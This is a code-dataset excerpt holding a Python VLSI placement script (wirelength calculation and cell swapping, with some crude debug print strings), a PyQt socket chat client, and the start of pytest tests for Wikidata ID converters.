netsy[net_name][0]:\r\n netsy[net_name][0] = int(nodes[line.split()[0]][3])\r\n\r\n if int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1]) > netsy[net_name][1]:\r\n netsy[net_name][1] = int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1])\r\n\r\n for net in netsx:\r\n hpwl += float(netsx[net][1] - netsx[net][0] + netsy[net][1] - netsy[net][0])\r\n\r\n return (hpwl)\r\n\r\n\r\ndef classify_by_weight(wts_file):\r\n \"\"\"\r\n\t@gk\r\n\tThis function takes as input .wts file's name and\r\n\treturns the weight of all nodes in a dictionary\r\n\tdictionary --> {node's name: [weight]}\r\n\t:param wts_file: str\r\n\t:return nodes{}: {str: [int]}\r\n\t\"\"\"\r\n\r\n nodes = {}\r\n data = []\r\n flag = 0\r\n with open(wts_file) as wf:\r\n for num, line in enumerate(wf, 0):\r\n if num == 0 or '#' in line or line == '\\n':\r\n continue\r\n else:\r\n data = line.split()\r\n if data[1] != '0':\r\n if data[1] not in nodes.keys():\r\n nodes[data[1]] = []\r\n nodes[data[1]].append(data[0])\r\n else:\r\n continue\r\n return nodes\r\n\r\n\r\ndef get_non_terminal_nodes_list(file_name):\r\n \"\"\"\r\n @gt\r\n this function takes in as a parameter a .nodes file,\r\n after checking if the line contains node information\r\n it checks if the node of that line is characterized as a terminal one\r\n and if it is not, it appends it in a list\r\n :param file_name: str\r\n :return non_terminal_list: list[str, str,..., str]\r\n \"\"\"\r\n non_terminal_list = []\r\n with open(file_name + \".nodes\") as f:\r\n for i, line in enumerate(f):\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n node_info = line.split()\r\n if len(node_info) == 3:\r\n non_terminal_list.append(node_info[0])\r\n\r\n return non_terminal_list\r\n\r\n\r\ndef select_nodes_for_swap(file_name, weights_dict):\r\n nodes = []\r\n non_terminals = get_non_terminal_nodes_list(file_name)\r\n node_num = len(non_terminals) // 10\r\n flag = True\r\n while flag:\r\n for key, values in weights_dict.items():\r\n if len(nodes) < node_num:\r\n node_to_append = weights_dict[key][random.randint(0, len(values) - 1)]\r\n nodes.append(node_to_append)\r\n else:\r\n flag = False\r\n return nodes\r\n\r\ndef create_uniform_bins(file_name, divider):\r\n '''\r\n @gt\r\n this function takes in as a parameter a benchmark and a number x\r\n divides the chip in x*x parts and returns a dictionary with the\r\n starting and finishing coordinates of each part\r\n :param file_name: str\r\n :param divider: int\r\n :return\r\n '''\r\n\r\n rows = []\r\n max_width = 0\r\n bins = {}\r\n\r\n with open(file_name + \".scl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if line.split()[0] == \"Coordinate\":\r\n starting_height = line.split()[2]\r\n if line.split()[0] == \"Height\":\r\n ending_height = int(starting_height) + int(line.split()[2])\r\n line_height = line.split()[2]\r\n if line.split()[0] == \"Sitespacing\":\r\n sitespacing = line.split()[2]\r\n if line.split()[0] == \"SubrowOrigin\":\r\n starting_x = line.split()[2]\r\n ending_x = int(starting_x) + int(sitespacing) * int(line.split()[5])\r\n if ending_x > max_width:\r\n max_width = ending_x\r\n rows.append([starting_x, starting_height, ending_x, ending_height])\r\n\r\n max_height = rows[-1][3]\r\n\r\n counter = 0\r\n\r\n for i in range(divider):\r\n for j in range(divider):\r\n start_x = (j) * (max_width / divider)\r\n start_y = (i) * (max_height / divider)\r\n end_x = (j + 1) * (max_width / divider)\r\n end_y = (i + 1) * (max_height / divider)\r\n\r\n bins[counter] = [start_x, start_y, end_x, end_y]\r\n counter += 1\r\n\r\n return bins\r\n\r\n\r\n\r\ndef rotate_cells(file_name, node_list):\r\n \"\"\"\r\n @gt\r\n this function takes in as a parameter a benchmark and a list of nodes\r\n rotates their coordinates right to left.\r\n First node's coordinates go to last node's coordinates\r\n :param file_name: str\r\n :param node_list: list[str, str, str....,str]\r\n :return\r\n \"\"\"\r\n\r\n to_change = {}\r\n\r\n with open(file_name + \".pl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if line.split()[0] in node_list:\r\n to_change[node_list.index(line.split()[0])] = line\r\n\r\n with open(file_name + \".pl\") as f:\r\n data = f.readlines()\r\n\r\n for i in range(len(to_change.values()) - 1, -1, -1):\r\n to_change[i] = to_change[i].replace(node_list[i], node_list[i - 1])\r\n\r\n for i in range(len(data)):\r\n\r\n for node in to_change.values():\r\n if re.search(r'\\b' + node.split()[0] + r'\\b', data[i]):\r\n data[i] = node + \"\\n\"\r\n\r\n with open(file_name + \".pl\", 'w') as p:\r\n p.writelines(data)\r\n\r\n\r\ndef get_nodes_for_swap(file_name):\r\n weights = classify_by_weight(file_name)\r\n print(weights.keys())\r\n nodes_for_swap = select_nodes_for_swap('../mPL6/ibm01-mPL', weights)\r\n print(len(nodes_for_swap))\r\n return nodes_for_swap\r\n\r\ndef get_node_info(node_name, nodes_file_name):\r\n \"\"\"\r\n @gk\r\n This function takes as input the name of the node\r\n and a benchmarks nodes file name and returns info about the node\r\n info returned --> [width, height, low_x, low_y, movetype]\r\n :param node_name:\r\n :param nodes_file_name:\r\n :return:\r\n \"\"\"\r\n\r\n data = []\r\n node = []\r\n mvtype = ''\r\n\r\n with open(nodes_file_name) as n:\r\n for num, line in enumerate(n):\r\n if node_name in line:\r\n data = line.split()\r\n if node_name == data[0]:\r\n node.append(float(data[1]))\r\n node.append(float(data[2]))\r\n if 'terminal' in line:\r\n mvtype = 'terminal'\r\n elif 'terminal_NI' in line:\r\n mvtype = 'terminal_NI'\r\n else:\r\n mvtype = 'non-terminal'\r\n break\r\n\r\n pl_file_name = nodes_file_name.replace('.nodes', '.pl')\r\n with open(pl_file_name) as p:\r\n for num, line in enumerate(p):\r\n if node_name in line:\r\n data = line.split()\r\n if node_name == data[0]:\r\n node.append(float(data[1]))\r\n node.append(float(data[2]))\r\n break\r\n\r\n node.append(mvtype)\r\n return node\r\n\r\ndef get_overlaps(file_name):\r\n \"\"\"\r\n @gt\r\n this function takes in a benchmark as a parameter\r\n returns lists the overlapping nodes\r\n :param file_name: str\r\n :return overlapping: list[(str, str), (str, str),..., (str, str)]\r\n \"\"\"\r\n\r\n place = {}\r\n size = {}\r\n sap = {}\r\n overlapping = []\r\n active_list = []\r\n max_width = 0\r\n\r\n with open(file_name + \".scl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if line.split()[0] == \"Sitespacing\":\r\n sitespacing = line.split()[2]\r\n if line.split()[0] == \"SubrowOrigin\":\r\n starting_x = line.split()[2]\r\n ending_x = int(starting_x) + int(sitespacing) * int(line.split()[5])\r\n if ending_x > max_width:\r\n max_width = ending_x\r\n\r\n divider = max_width // 10\r\n\r\n with open(file_name + \".nodes\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if len(line.split()) == 3:\r\n size[line.split()[0]] = [line.split()[1], line.split()[2]]\r\n\r\n with open(file_name + \".pl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if line.split()[0] in size:\r\n place[line.split()[0]] = [line.split()[1], line.split()[2]]\r\n sap_num = int(line.split()[1]) // divider\r\n if sap_num not in sap.keys():\r\n sap[sap_num] = []\r\n sap[sap_num].append([line.split()[0], int(line.split()[1]),\r\n int(line.split()[1]) + int(size[line.split()[0]][0]), int(line.split()[2]),\r\n \"start\"])\r\n\r\n sap[sap_num].append([line.split()[0], int(line.split()[1]),\r\n int(line.split()[1]) + int(size[line.split()[0]][0]),\r\n int(line.split()[2]) + int(size[line.split()[0]][1]), \"end\"])\r\n\r\n for lista in sap.values():\r\n lista.sort(key=lambda x: x[3])\r\n lista.sort(key=lambda x: x[4], reverse=True)\r\n for element in lista:\r\n if element[4] == \"start\":\r\n if len(active_list) == 0:\r\n active_list.append(element[0])\r\n else:\r\n for node in active_list:\r\n if int(place[node][0]) < int(place[element[0]][0]) + int(size[element[0]][0]) \\\r\n and int(place[node][0]) + int(size[node][0]) > int(place[element[0]][0]) \\\r\n and int(place[node][1]) < int(place[element[0]][1]) + int(size[element[0]][1]) \\\r\n and int(place[node][1]) + int(size[node][1]) > int(place[element[0]][1]):\r\n overlap = (node, element[0])\r\n overlapping.append(overlap)\r\n active_list.append(element[0])\r\n else:\r\n active_list.remove(element[0])\r\n return overlapping\r\n\r\n\r\n\r\ndef vertical_slide_up(node, bins):\r\n node_bin = get_node_bin(node, bins)\r\n print(node)\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n print(coordinates)\r\n try:\r\n if bins[node_bin + BIN_SPLIT][1] > bins[node_bin][1]:\r\n\r\n place_node(directory + \"/ibm01\", node, coordinates[0],\r\n coordinates[1] + bins[node_bin + 4][1] - bins[node_bin][1])\r\n else:\r\n print(\"yolo\")\r\n place_node(directory + \"/ibm01\", node, coordinates[0],\r\n coordinates[1] + bins[node_bin % BIN_SPLIT][1] - bins[node_bin][1])\r\n except KeyError:\r\n place_node(directory + \"/ibm01\", node, coordinates[0],\r\n coordinates[1] + bins[node_bin % BIN_SPLIT][1] - bins[node_bin][1])\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n print(coordinates)\r\n\r\n\r\ndef vertical_slide_down(node, bins):\r\n node_bin = get_node_bin(node, bins)\r\n print(node)\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n print(coordinates)\r\n try:\r\n if bins[node_bin][1] > bins[node_bin - BIN_SPLIT][1]:\r\n\r\n place_node(directory + \"/ibm01\", node, coordinates[0],\r\n coordinates[1] + bins[node_bin - 4][1] - bins[node_bin][1])\r\n else:\r\n print(\"yolo\")\r\n place_node(directory + \"/ibm01\", node, coordinates[0],\r\n coordinates[1] + bins[(BIN_SPLIT ** 2) - BIN_SPLIT + node_bin][1] - bins[node_bin][1])\r\n except KeyError:\r\n place_node(directory + \"/ibm01\", node, coordinates[0],\r\n coordinates[1] + bins[(BIN_SPLIT ** 2) - BIN_SPLIT + node_bin][1] - bins[node_bin][1])\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n print(coordinates)\r\n print(bins)\r\n\r\n\r\ndef multiple_vertical_slide_up(node, bins, slide_number):\r\n for i in range(slide_number):\r\n vertical_slide_up(node, bins)\r\n\r\n\r\ndef multiple_vertical_slide_down(node, bins, slide_number):\r\n for i in range(slide_number):\r\n vertical_slide_down(node, bins)\r\n\r\n\r\ndef horizontal_slide_right(node, bins):\r\n node_bin = get_node_bin(node, bins)\r\n\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n print(coordinates)\r\n try:\r\n if bins[node_bin + 1][0] > bins[node_bin][0]:\r\n\r\n place_node(directory + \"/ibm01\", node, coordinates[0] + bins[node_bin + 1][0] - bins[node_bin][0],\r\n coordinates[1])\r\n else:\r\n print(\"yolo\")\r\n place_node(directory + \"/ibm01\", node,\r\n coordinates[0] + bins[node_bin - BIN_SPLIT + 1][0] - bins[node_bin][0], coordinates[1])\r\n except KeyError:\r\n place_node(directory + \"/ibm01\", node, coordinates[0] + bins[node_bin - BIN_SPLIT + 1][0] - bins[node_bin][0],\r\n coordinates[1])\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n print(coordinates)\r\n\r\n\r\ndef horizontal_slide_left(node, bins):\r\n node_bin = get_node_bin(node, bins)\r\n # print(node)\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n print(coordinates)\r\n try:\r\n if bins[node_bin][0] > bins[node_bin - 1][0]:\r\n #\tprint(coordinates)\r\n #\tprint(coordinates[0]+bins[node_bin+1][0]-bins[node_bin][0])\r\n place_node(directory + \"/ibm01\", node, coordinates[0] - bins[node_bin][0] - bins[node_bin - 1][0],\r\n coordinates[1])\r\n else:\r\n place_node(directory + \"/ibm01\", node,\r\n coordinates[0] - bins[node_bin][0] + bins[node_bin + BIN_SPLIT - 1][0], coordinates[1])\r\n except KeyError:\r\n place_node(directory + \"/ibm01\", node, coordinates[0] - bins[node_bin][0] + bins[node_bin + BIN_SPLIT - 1][0],\r\n coordinates[1])\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n print(coordinates)\r\n print(bins)\r\n\r\n\r\ndef multiple_horizontal_slide_left(node, bins, slide_number):\r\n for i in range(slide_number):\r\n horizontal_slide_left(node, bins)\r\n\r\n\r\ndef multiple_horizontal_slide_right(node, bins, slide_number):\r\n for i in range(slide_number):\r\n horizontal_slide_right(node, bins)\r\n\r\n\r\ndef swap_cells(pl_file_name, cell1, cell2):\r\n \"\"\"\r\n @gk\r\n This function takes as input a benchmarks pl file,\r\n and the name of two nodes that are to be swapped.\r\n Then as a result it pseudo-overwrites the file, by creating\r\n a new one, replacing the old one.\r\n NOTE that it would be better to use a copy of the original benchmark\r\n in order to avoid messing the original file !\r\n :param pl_file_name:\r\n :param cell1:\r\n :param cell2:\r\n :return:\r\n \"\"\"\r\n line_cell_1 = ''\r\n line_cell_2 = ''\r\n data = []\r\n with open(pl_file_name) as p:\r\n for num, line in enumerate(p):\r\n if cell1 in line:\r\n data = line.split()\r\n if data[0] == cell1:\r\n line_cell_1 = line\r\n if cell2 in line:\r\n data = line.split()\r\n if data[0] == cell2:\r\n line_cell_2 = line\r\n\r\n with open(pl_file_name) as p:\r\n data = p.readlines()\r\n\r\n for i in range(len(data)):\r\n if data[i] == line_cell_1:\r\n data[i] = line_cell_2.replace(cell2, cell1)\r\n if data[i] == line_cell_2:\r\n data[i] = line_cell_1.replace(cell1, cell2)\r\n\r\n with open(pl_file_name, 'w') as p:\r\n p.writelines(data)\r\n\r\n\r\ndef set_up_repo():\r\n directory = os.getcwd() + \"/pl_for_detailed\"\r\n repo = git.Repo.clone_from(\"https://github.com/testibm01pl/testpl\", directory)\r\n return directory, repo\r\n\r\n\r\ndef get_node_bin(node, bins):\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", node)\r\n for i in range(BIN_SPLIT ** 2):\r\n if bins[i][0] < coordinates[0] < bins[i][2] and bins[i][1] < coordinates[1] < bins[i][3]:\r\n return i\r\n\r\n\r\ndef find_cells_to_swap_global(cells):\r\n to_swap = {}\r\n j = 0\r\n\r\n for cell in cells:\r\n if j // CELLS_PER_GROUP not in to_swap.keys():\r\n to_swap[j // CELLS_PER_GROUP] = []\r\n to_swap[j // CELLS_PER_GROUP].append(cell)\r\n j += 1\r\n\r\n return to_swap\r\n\r\n\r\ndef find_cells_to_swap_bin(cells, bins, node_bin):\r\n to_swap = {}\r\n j = 0\r\n\r\n for cell in cells:\r\n\r\n coordinates = get_coordinates(directory + \"/ibm01.pl\", cell)\r\n if bins[node_bin][0] < coordinates[0] < bins[node_bin][2] and bins[node_bin][1] < coordinates[1] < \\\r\n bins[node_bin][3]:\r\n\r\n if len(return_nets_for_node(directory + \"/ibm01\", cell)) > 9:\r\n if j // CELLS_PER_GROUP not in to_swap.keys():\r\n to_swap[j // CELLS_PER_GROUP] = []\r\n to_swap[j // CELLS_PER_GROUP].append(cell)\r\n j += 1\r\n\r\n return to_swap\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n i = 0\r\n swap_nodes = get_nodes_for_swap('../mPL6/ibm01-mPL.wts')\r\n\r\n # print([(x, get_coordinates('pl_for_detailed/ibm01.pl', x)) for x in get_non_terminal_nodes_list('pl_for_detailed/ibm01')])\r\n print(total_hpwl('../mPL6/ibm01-mPL'))\r\n\r\n for node in swap_nodes:\r\n nets = return_nets_for_node('../mPL6/ibm01-mPL', node)\r\n net_nodes = []\r\n print(nets)\r\n for net in nets:\r\n net_nodes.append(get_coordinates_net('../mPL6/ibm01-mPL.nets', net))\r\n\r\n for net in net_nodes:\r\n del net[node]\r\n x_values = []\r\n y_values = []\r\n\r\n print(net_nodes)\r\n\r\n for net in net_nodes:\r\n x_values.append((9999999, -9999999))\r\n y_values.append((9999999, -9999999))\r\n for value in net.values():\r\n if int(value[0]) < int(x_values[-1][0]): x_values[-1] = (value[0], x_values[-1][1])\r\n if int(value[0]) > int(x_values[-1][1]): x_values[-1] = (x_values[-1][0], value[0])\r\n if int(value[1]) < int(y_values[-1][0]): y_values[-1] = (value[1], y_values[-1][1])\r\n if int(value[1]) > int(y_values[-1][1]): y_values[-1] = (y_values[-1][0], value[1])\r\n\r\n print(x_values)\r\n print(y_values)\r\n x_list = []\r\n y_list = []\r\n\r\n for value in x_values:\r\n for x in value:\r\n x_list.append(x)\r\n\r\n for value in y_values:\r\n for y in value:\r\n y_list.append(y)\r\n\r\n x_list.sort()\r\n y_list.sort()\r\n x_list = [int(x) for x in x_list]\r\n y_list = [int(y) for y in y_list]\r\n medianX = (x_list[(len(x_list) // 2) - 1], x_list[len(x_list) // 2])\r\n medianY = (y_list[(len(y_list) // 2) - 1], y_list[len(y_list) // 2])\r\n print(medianX)\r\n print(medianY)\r\n medx = np.median(x_list)\r\n medy = np.median(y_list)\r\n print(x_list)\r\n print(y_list)\r\n hpwl = total_hpwl('../mPL6/ibm01-mPL')\r\n print(hpwl)\r\n lista = find_similar_cells('../mPL6/ibm01-mPL.nodes', node)\r\n nodes = locate_nodes_in_area('../mPL6/ibm01-mPL.nodes', medianX[0], medianY[0], medianX[1],\r\n medianY[1])\r\n\r\n if len(nodes) == 0:\r\n\r\n print(\"WE MAY HAVE A PLACE TO PUT A DICK IN\")\r\n if check_move_hpwl('../mPL6/ibm01-mPL', node, int(medx), int(medy)) < hpwl:\r\n\r\n if len(locate_nodes_in_area('../mPL6/ibm01-mPL.nodes',\r\n int(medianX[0]),\r\n int(medianY[0]),\r\n int(medianX[0]) + int(get_node_info(node, '../mPL6/ibm01-mPL.nodes')[0]) + 1,\r\n int(medianY[0]) + int(get_node_info(node, '../mPL6/ibm01-mPL.nodes')[1]) + 1)) == 0\\\r\n and check_move_hpwl('../mPL6/ibm01-mPL', node, medianX[0], medianY[0]) < hpwl:\r\n print(\"PLACING IN SPACE\")\r\n place_node('../mPL6/ibm01-mPL', node, int(medianX[0]), int(medianY[0]))\r\n # print(check_move_hpwl('pl_for_detailed/ibm01', 'a17', int(medx), int(medy)))\r\n hpwl_per_possible_swap = {}\r\n min_hpwl_ascending = []\r\n for possible_swap in nodes:\r\n possible_hpwl = check_swap_cells_hpwl('../mPL6/ibm01-mPL', node, possible_swap)\r\n if possible_hpwl < hpwl and possible_hpwl not in hpwl_per_possible_swap.keys():\r\n hpwl_per_possible_swap[int(possible_hpwl)] = possible_swap\r\n min_hpwl_ascending = list(hpwl_per_possible_swap.keys())\r\n min_hpwl_ascending.sort()\r\n\r\n for wirelength in min_hpwl_ascending:\r\n if int(get_node_info(node, '../mPL6/ibm01-mPL.nodes')[0]) == int(get_node_info(hpwl_per_possible_swap[wirelength], '../mPL6/ibm01-mPL.nodes')[0]) \\\r\n and int(get_node_info(node, '../mPL6/ibm01-mPL.nodes')[1]) == int(get_node_info(hpwl_per_possible_swap[wirelength], '../mPL6/ibm01-mPL.nodes')[1]):\r\n print(\"SWAPING THAT MOFO\")\r\n print(\"x1 \" + str(get_node_info(node, '../mPL6/ibm01-mPL.nodes')[0]))\r\n print(\"x2 \" + str(get_node_info(hpwl_per_possible_swap[wirelength], '../mPL6/ibm01-mPL.nodes')[0]))\r\n swap_cells('../mPL6/ibm01-mPL.pl', node, hpwl_per_possible_swap[wirelength])\r\n break\r\n print(nodes)\r\n i += 1\r\n print(i)\r\n print(total_hpwl('../mPL6/ibm01-mPL'))\r\n","repo_name":"praktikhgenetics/genetic_calibration","sub_path":"ThesisProject/src/vlsi.py","file_name":"vlsi.py","file_ext":"py","file_size_in_byte":39959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37548280905","text":"import socket\nimport sys\nimport threading\nimport random\nfrom PyQt5 import QtWidgets, QtGui, QtCore\nfrom PIL import Image\nimport io\n\nserverIP = \"127.0.0.1\"\nmulticastIP = '224.1.1.1'\nserverPort = 9008\nmulticastPort = 5007\nbuff_size = 1024\nbuff_size_udp = 65507 # maximum size of data into a single UDP packet = 64KB\n\n\ndef display(message, client_id, client_name, client_color, gui):\n # 1. create widget list item and set text: \"ID: client_id | From: client_name \\n message\"\n if client_id:\n msg = f'ID: {client_id} | From: {client_name} \\n{message}'\n else:\n msg = f'From: {client_name} \\n{message}'\n item = QtWidgets.QListWidgetItem(msg)\n item.setFont(QtGui.QFont('Arial', 15))\n\n # 2. set background color to client_color\n item.setBackground(QtGui.QColor(client_color))\n\n # 3. add widget item to listWidget\n gui.listWidget.addItem(item)\n\n\ndef display_image(data, width, height, client, color):\n # 1. icon size on chat dialog\n max_width = 400\n if width != 0:\n max_height = int(max_width * height / width)\n else:\n max_height = 0\n\n img_to_display = QtGui.QIcon(data)\n item = QtWidgets.QListWidgetItem(img_to_display, '')\n item.setBackground(QtGui.QColor(color))\n\n # 3. add to listWidget\n client.client_gui.listWidget.setIconSize(QtCore.QSize(max_width, max_height))\n client.client_gui.listWidget.addItem(item)\n\n\ndef convert_to_img_and_display(msg_bytes, client, color):\n # 1. generate pixmap using received bytes\n pixmap = QtGui.QPixmap()\n pixmap.loadFromData(msg_bytes)\n\n display_image(pixmap, pixmap.size().width(), pixmap.size().height(), client, color)\n\n\ndef send_if_validate(client):\n if client.client_gui.validate():\n message = client.client_gui.msg_text.toPlainText()\n client.send_tcp(message)\n display(message, '', client.nickname, client.bg_color, client.client_gui)\n client.client_gui.msg_text.clear()\n\n\n# popup window will be displayed when the client selects an image that is too large\ndef display_warning_window(msg):\n msg_box = QtWidgets.QMessageBox()\n msg_box.setWindowTitle('File warning')\n msg_box.setText(msg)\n msg_box.exec_()\n\n\n# if client wants to send msg using UDP he has to choose a file because UDP socket is using only to multimedia sending\n# after sending we have to display our msg on chat dialog\ndef choose_file_and_send(client, send_method):\n file, check = QtWidgets.QFileDialog.getOpenFileNames(None, \"QFileDialog.getOpenFileName()\", \"\",\n \"PNG Files (*.png);;JPG Files (*.jpg);;JPEG Files (*.jpeg)\")\n if check:\n # open image and get size\n image = Image.open(file[0])\n width, height = image.size\n # save img to bytes\n img_bytes = io.BytesIO()\n image.save(img_bytes, format=image.format)\n img_bytes = img_bytes.getvalue()\n\n # send image bytes using udp\n if len(img_bytes) >= buff_size_udp:\n display_warning_window('Nie można wysłać obrazu, ponieważ rozmiar jest za duży.')\n else:\n if send_method == 'U': # unicast (standard method)\n client.send_udp(img_bytes)\n elif send_method == 'M': # multicast method\n client.send_udp_multicast(img_bytes)\n\n # display on chat\n display('', '', client.nickname, client.bg_color, client.client_gui)\n display_image(file[0], width, height, client, client.bg_color)\n\n\nclass Client:\n def __init__(self):\n self.nickname = None\n self.socket_tcp = None\n self.socket_udp = None\n self.multicast_send = None\n self.multicast_receive = None\n self.quit = False\n self.threads = []\n self.client_gui = None\n self.app = None\n self.bg_color = \"#%06x\" % random.randint(0, 0xFFFFFF)\n self.connected = False\n\n def run(self):\n # 1. connect with server\n self.connect()\n self.connected = True\n print('Hello ', self.nickname)\n try:\n # 2. send client nickname from app to server\n self.send_tcp(self.nickname + '|' + self.bg_color)\n\n # 3. run thread to receive new messages\n self.run_thread(self.receive_udp)\n self.run_thread(self.receive_tcp)\n\n while not self.quit:\n self.receive_multicast_udp()\n\n except KeyboardInterrupt:\n self.disconnect()\n\n finally:\n print('Goodbye ', self.nickname)\n self.socket_tcp.close()\n self.socket_udp.close()\n\n # connect client with server using TCP and UDP protocol\n def connect(self):\n try:\n client_socket_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client_socket_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n # multicast udp sockets\n multicast_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n multicast_send.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 32)\n\n multicast_recv = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n multicast_recv.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 32)\n multicast_recv.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_LOOP, 1)\n multicast_recv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n except socket.error as err:\n print('Failed to create a sockets: %s' % str(err))\n sys.exit()\n\n try:\n client_socket_tcp.connect((serverIP, serverPort))\n client_socket_udp.bind(('', client_socket_tcp.getsockname()[1]))\n\n # multicast binding\n multicast_recv.bind(('', multicastPort))\n host = socket.gethostbyname(socket.gethostname())\n multicast_recv.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_IF, socket.inet_aton(host))\n multicast_recv.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP,\n socket.inet_aton(multicastIP) + socket.inet_aton(host))\n except socket.error as err:\n print('Failed to connect to %s on port %s: %s' % (serverIP, serverPort, str(err)))\n sys.exit()\n\n self.socket_tcp, self.socket_udp = client_socket_tcp, client_socket_udp\n self.multicast_send, self.multicast_receive = multicast_send, multicast_recv\n\n # disconnect client with server when client close app (close connection TCP and UDP)\n def disconnect(self):\n print('Disconnecting...')\n self.quit = True\n\n self.send_udp(bytes('EXIT', 'utf-8'))\n self.threads[0].join()\n\n self.send_tcp('EXIT')\n self.threads[1].join()\n\n self.send_udp_multicast(bytes('EXIT', 'utf-8'))\n self.connected = False\n\n # send message to server using TCP protocol\n def send_tcp(self, message):\n print('Sending TCP...')\n self.socket_tcp.send(message.encode('utf-8'))\n\n # send message to server using UDP protocol\n def send_udp(self, message_bytes):\n print('Sending UDP...')\n self.socket_udp.sendto(message_bytes, (serverIP, serverPort))\n\n # send message (file) using multicast UDP protocol\n def send_udp_multicast(self, message_bytes):\n print('Sending UDP multicast...')\n info = f'{self.nickname}|{self.bg_color}'\n self.multicast_send.sendto(info.encode('utf-8'), (multicastIP, multicastPort))\n self.multicast_send.sendto(message_bytes, (multicastIP, multicastPort))\n\n # receive reply from server using TCP protocol\n def receive_tcp(self):\n while not self.quit: # can receive always if client doesn't want to exit\n buff = self.socket_tcp.recv(buff_size)\n\n if buff != 'EXIT'.encode('utf-8'):\n msg = buff.decode('utf-8').split('|')\n display(msg[2], msg[0], msg[1], msg[3], self.client_gui)\n\n # receive reply from server using UDP protocol\n def receive_udp(self):\n while not self.quit: # can receive always if client doesn't want to exit\n info, addr = self.socket_udp.recvfrom(buff_size_udp)\n buff, addr = self.socket_udp.recvfrom(buff_size_udp)\n\n if info != 'EXIT'.encode('utf-8'):\n info = info.decode('utf-8').split('|')\n display('', info[0], info[1], info[2], self.client_gui)\n convert_to_img_and_display(buff, self, info[2])\n\n def receive_multicast_udp(self):\n # while not self.quit:\n info, addr = self.multicast_receive.recvfrom(buff_size_udp)\n buff, addr = self.multicast_receive.recvfrom(buff_size_udp)\n\n if buff != 'EXIT'.encode('utf-8'):\n info = info.decode('utf-8').split(\"|\")\n if info[0] != self.nickname:\n display('Multicast msg', '', info[0], info[1], self.client_gui)\n convert_to_img_and_display(buff, self, info[1])\n\n def set_nickname(self, nickname):\n self.nickname = nickname\n\n def set_gui(self, gui_class):\n self.client_gui = gui_class\n\n def set_app(self, app):\n self.app = app\n\n # receive responses from server using new thread\n # (receive udp = first thread, receive tcp = second thread)\n def run_thread(self, target_fun):\n thr = threading.Thread(target=target_fun, args=())\n thr.daemon = True\n self.threads.append(thr)\n thr.start()\n","repo_name":"dmncp/Python-Chat","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":9472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39387186553","text":"import pytest\nfrom werkzeug.routing import Map, ValidationError\n\nfrom converters import EntityIdConverter, PropertyIdConverter, \\\n RankConverter, BadRankException, \\\n WikiConverter, BadWikiException, \\\n WikiWithQueryServiceConverter, WikiWithoutQueryServiceException\n\n\n@pytest.mark.parametrize('entity_id', [\n 'P1',\n 'Q1',\n 'M1',\n 'L1',\n 'L1-S1',\n 'L1-F1',\n 'Q2',\n 'P31',\n 'M56855503',\n 'L123-S116',\n])\ndef test_EntityIdConverter_valid(entity_id):\n converter = EntityIdConverter(Map())\n assert converter.to_python(entity_id) == entity_id\n assert converter.to_url(entity_id) == entity_id\n\n\n@pytest.mark.parametrize('entity_id', [\n '31',\n 'X123',\n 'P031',\n 'L031',\n 'L031-S1',\n 'L123-S01',\n 'L123-F01',\n 'L-S',\n 'L-S1',\n 'L1-S',\n 'L1-X1',\n 'L1-S٣١',\n 'M٣١',\n])\ndef test_EntityIdConverter_invalid(entity_id):\n converter = EntityIdConverter(Map())\n with pytest.raises(ValidationError):\n converter.to_python(entity_id)\n\n\n@pytest.mark.parametrize('property_id', [\n 'P1',\n 'P2',\n 'P31',\n 'P5972',\n 'P2147483647',\n])\ndef test_PropertyIdConverter_valid(property_id):\n converter = PropertyIdConverter(Map())\n assert converter.to_python(property_id) == property_id\n assert converter.to_url(property_id) == property_id\n\n\n@pytest.mark.parametrize('property_id', [\n 'Q42',\n '31',\n 'P031',\n 'P٣١',\n])\ndef test_PropertyIdConverter_invalid(property_id):\n converter = PropertyIdConverter(Map())\n with pytest.raises(ValidationError):\n converter.to_python(property_id)\n\n\n@pytest.mark.parametrize('rank', [\n 'deprecated',\n 'normal',\n 'preferred',\n])\ndef test_RankConverter_valid(rank):\n converter = RankConverter(Map())\n assert converter.to_python(rank) == rank\n assert converter.to_url(rank) == rank\n\n\n@pytest.mark.parametrize('rank', [\n 